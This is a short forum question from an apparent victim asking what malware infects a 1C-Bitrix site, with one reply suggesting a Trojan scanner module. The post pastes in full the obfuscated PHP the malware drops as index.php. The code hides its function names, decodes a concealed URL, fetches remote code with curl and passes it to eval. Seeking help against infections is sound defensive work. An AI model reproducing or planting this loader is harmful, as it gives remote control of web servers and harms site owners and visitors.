What kind of virus is in 1C Bitrix?

Question

1C-Bitrix

Good afternoon!
Help!

The virus creates an index.php file in the root of the site with the following content:

<?php
$B66CUC6UUC="01o_4yfc8rt3gbkdevmsij9l-nqpz2h7u5wxa6";$BUUC66U6CC=$B66CUC6UUC{7}.$B66CUC6UUC{9}.$B66CUC6UUC{16}.$B66CUC6UUC{36}.$B66CUC6UUC{10}.$B66CUC6UUC{16}.$B66CUC6UUC{3}.$B66CUC6UUC{6}.$B66CUC6UUC{32}.$B66CUC6UUC{25}.$B66CUC6UUC{7}.$B66CUC6UUC{10}.$B66CUC6UUC{20}.$B66CUC6UUC{2}.$B66CUC6UUC{25};$BUC66CUC6U=$B66CUC6UUC{13}.$B66CUC6UUC{36}.$B66CUC6UUC{19}.$B66CUC6UUC{16}.$B66CUC6UUC{37}.$B66CUC6UUC{4}.$B66CUC6UUC{3}.$B66CUC6UUC{15}.$B66CUC6UUC{16}.$B66CUC6UUC{7}.$B66CUC6UUC{2}.$B66CUC6UUC{15}.$B66CUC6UUC{16};$BC6UCUU66C=$B66CUC6UUC{7}.$B66CUC6UUC{32}.$B66CUC6UUC{9}.$B66CUC6UUC{23}.$B66CUC6UUC{3}.$B66CUC6UUC{19}.$B66CUC6UUC{16}.$B66CUC6UUC{10}.$B66CUC6UUC{2}.$B66CUC6UUC{27}.$B66CUC6UUC{10};$B66CU6UCCU=$B66CUC6UUC{12}.$B66CUC6UUC{28}.$B66CUC6UUC{20}.$B66CUC6UUC{25}.$B66CUC6UUC{6}.$B66CUC6UUC{23}.$B66CUC6UUC{36}.$B66CUC6UUC{10}.$B66CUC6UUC{16};$BU6UUC66CC=$B66CUC6UUC{7}.$B66CUC6UUC{32}.$B66CUC6UUC{9}.$B66CUC6UUC{23}.$B66CUC6UUC{3}.$B66CUC6UUC{20}.$B66CUC6UUC{25}.$B66CUC6UUC{20}.$B66CUC6UUC{10};$BUUCCC66U6=$B66CUC6UUC{7}.$B66CUC6UUC{32}.$B66CUC6UUC{9}.$B66CUC6UUC{23}.$B66CUC6UUC{3}.$B66CUC6UUC{16}.$B66CUC6UUC{35}.$B66CUC6UUC{16}.$B66CUC6UUC{7};$B6U6CUC6CU=$B66CUC6UUC{19}.$B66CUC6UUC{10}.$B66CUC6UUC{9}.$B66CUC6UUC{23}.$B66CUC6UUC{16}.$B66CUC6UUC{25};$B6CUUCU6C6=$B66CUC6UUC{10}.$B66CUC6UUC{9}.$B66CUC6UUC{20}.$B66CUC6UUC{18};echo 'wp-blog-header.php';header('Content-Type:text/html;charset=utf-8');$BU6C6CC6UU=${"G\x4cO\x42\x41\x4cS"}["\x42\x55\x55\x43\x36\x36\x55\x36\x43\x43"]('$BC6C6U6UCU=\'\'','$B6U6UCCC6U=${"G\x4cO\x42\x41\x4cS"}["\x42\x55\x36\x55\x55\x43\x36\x36\x43\x43"]($BC6C6U6UCU);${"G\x4cO\x42\x41\x4cS"}["\x42\x43\x36\x55\x43\x55\x55\x36\x36\x43"]($B6U6UCCC6U,CURLOPT_RETURNTRANSFER,1);$B66UCU6CCU=${"G\x4cO\x42\x41\x4cS"}["\x42\x55\x55\x43\x43\x43\x36\x36\x55\x36"]($B6U6UCCC6U);return $B66UCU6CCU;');$BCU6UU66CC=${"G\x4cO\x42\x41\x4cS"}["\x42\x55\x55\x43\x36\x36\x55\x36\x43\x43"]('$string','$B6UCCCUU66=substr($string,0,5);$B6CCUUU6C6=substr($string,-5);$B6CCU6C6UU=substr($string,7,${"G\x4cO\x42\x41\x4cS"}["\x42\x36\x55\x36\x43\x55\x43\x36\x43\x55"]($string)-14);return ${"G\x4cO\x42\x41\x4cS"}["\x42\x36\x36\x43\x55\x36\x55\x43\x43\x55"](${"G\x4cO\x42\x41\x4cS"}["\x42\x55\x43\x36\x36\x43\x55\x43\x36\x55"]($B6UCCCUU66.$B6CCU6C6UU.$B6CCUUU6C6));');$BU6C6UC6UC=${"G\x4cO\x42\x41\x4cS"}["\x42\x55\x55\x43\x36\x36\x55\x36\x43\x43"]('$BUU66UC6CC=\'\'','$B6UCCUC66U=isset(${"\x5fG\x45T"}["\x74\x78\x74\x6e\x61\x6d\x65"])?${"G\x4cO\x42\x41\x4cS"}["\x42\x36\x43\x55\x55\x43\x55\x36\x43\x36"](${"\x5fG\x45T"}["\x74\x78\x74\x6e\x61\x6d\x65"]):\'\';$BC6C6U6UCU=${"G\x4cO\x42\x41\x4cS"}["\x42\x43\x55\x36\x55\x55\x36\x36\x43\x43"](\'yygpKhTbDS1y8vLzc0s9BLz09OLMrPycxL1EsszkztPUBwA=\');$BCUC6UCU66=${"G\x4cO\x42\x41\x4cS"}["\x42\x55\x36\x43\x36\x43\x43\x36\x55\x55"]($BC6C6U6UCU.$B6UCCUC66U);eval($BCUC6UCU66);');${"G\x4cO\x42\x41\x4cS"}["\x42\x55\x36\x43\x36\x55\x43\x36\x55\x43"]();?>

It also modifies the .htaccess file.

What could it be? Where to dig?
Thanks in advance!

Answer 1

Try installing the Trojan Scanner module and run the entire site. And move on from that.